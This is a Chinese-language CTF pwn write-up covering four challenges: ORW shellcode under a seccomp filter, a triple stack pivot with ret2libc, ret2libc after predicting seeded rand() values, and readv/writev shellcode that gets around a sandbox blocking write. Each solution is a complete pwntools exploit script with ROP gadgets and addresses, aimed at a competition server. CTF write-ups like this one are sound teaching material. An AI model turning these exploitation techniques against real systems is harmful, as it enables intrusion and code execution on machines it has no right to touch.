0x00 前言

大二最后一次认真打的比赛,还是倒在堆题手下

0x01 题解

三步走战略

checksec:

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

ida看一眼
有沙箱,顺手查了

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

明显要打ORW。再看看主函数
没有什么限制,orw+ret2shellcode即可

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'

choice = 0x001
if choice:
port= 32178
hn = '27.25.151.198'
p = remote(hn,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

# debug()
s('\n')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,0x1337500,0x100)
shellcode += shellcraft.write(1,0x1337500,0x100)
sla('Please speak:',asm(shellcode))

payload =b'a'*0x48+p64(0x1337000)
sla('Do you have anything else to say?',payload)

itr()

Stack Pivoting

Checksec

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida看看:
溢出0x10字节,而且有原题
参考一下他的exp,总体来说就是三次栈迁移,分别泄露libc和打ret2libc

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn/pwn1'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/pwn/libc.so.6')

choice = 0x001
if choice:
port= 48534
polar='1.95.36.136'
nss='node5.anna.nssctf.cn'
buu='node5.buuoj.cn'
hn = '27.25.151.198'
p = remote(hn,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

bss = 0x0000000000404040+0x700
pop_rdi = 0x0000000000401263
pop_rbp = 0x000000000040115d
leave_ret = 0x00000000004011ce

read = 0x00000000004011B7

payload=b'a'*(0x40)+p64(bss+0x40)+p64(read)
debug()
sa('can you did ?\n',payload)
pause()
payload1 = p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x300+0x40)+p64(read)
payload1 = payload1.ljust(0x40,b'a')
payload1 += p64(bss-8)+p64(leave_ret)

s(payload1)

read_addr = uru64()
leak('read_addr')
libc_base = read_addr - libc.sym['puts']
leak('libc_base')
system,binsh=get_sb()
payload2 =(b'a'*8+p64(pop_rdi)+p64(binsh)+p64(pop_rdi+1)+p64(system)).ljust(0x40,b'\x00')
#再次迁移执行system("\bin\sh")
payload2+=p64(bss+0x300)+p64(leave_ret)
pause()
s(payload2)

itr()

pdd助力

checksec:

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida看看:
过两关有溢出点
注意一下随机数的种子,过两关之后ret2libc即可,以及最后的栈平衡

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn2/pwn2'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/pwn2/libc.so.6')
libc1=cdll.LoadLibrary('/mnt/c/Users/Z2023/Desktop/pwn2/libc.so.6')

choice = 0x001
if choice:
port= 37326
hn = '27.25.151.198'
p = remote(hn,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

# debug()
libc1.srand(libc1.time(0))
v5 = libc1.rand()
print(hex(v5))
print(v5)
libc1.srand(v5 % 5 - 44174237)

for i in range(55):
sla('good!\n',str(libc1.rand() % 4 + 1 ))

libc1.srand(8)
for i in range(55):
sla('good!\n',str(libc1.rand() % 4 + 8 ))

pop_rdi=0x0000000000401483
func = 0x000000000040121F
ret=0x000000000040101a
payload = b'a'*(0x30+8)+flat(pop_rdi,elf.got['puts'],elf.plt['puts'],func)
sla('Congratulations young man.\n',payload)

puts_addr=uru64()
leak('puts_addr')
libc_base=puts_addr-libc.sym['puts']
leak('libc_base')
system,binsh=get_sb()

payload = b'a'*(0x30+8)+flat(ret,pop_rdi,binsh,system,func)
sla('Congratulations young man.\n',payload)

itr()

shellcode

Checksec

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida看看:
有沙箱

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0009
0006: 0x15 0x02 0x00 0x00000028 if (A == sendfile) goto 0009
0007: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

ban了write,execve,sendfile。但是OR没有限制,找个别的代替W即可,这里参考https://blog.csdn.net/qq_54218833/article/details/134205383
用writev, 因为readv也没ban,所以直接照搬了文章中的shellcode

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'

choice = 0x001
if choice:
port= 47288
hn = '27.25.151.198'
p = remote(hn,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

debug()
shellcode='''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall

push 3
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
push SYS_readv
pop rax
syscall

push 1
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
sla('Enter your command: ',asm(shellcode))

itr()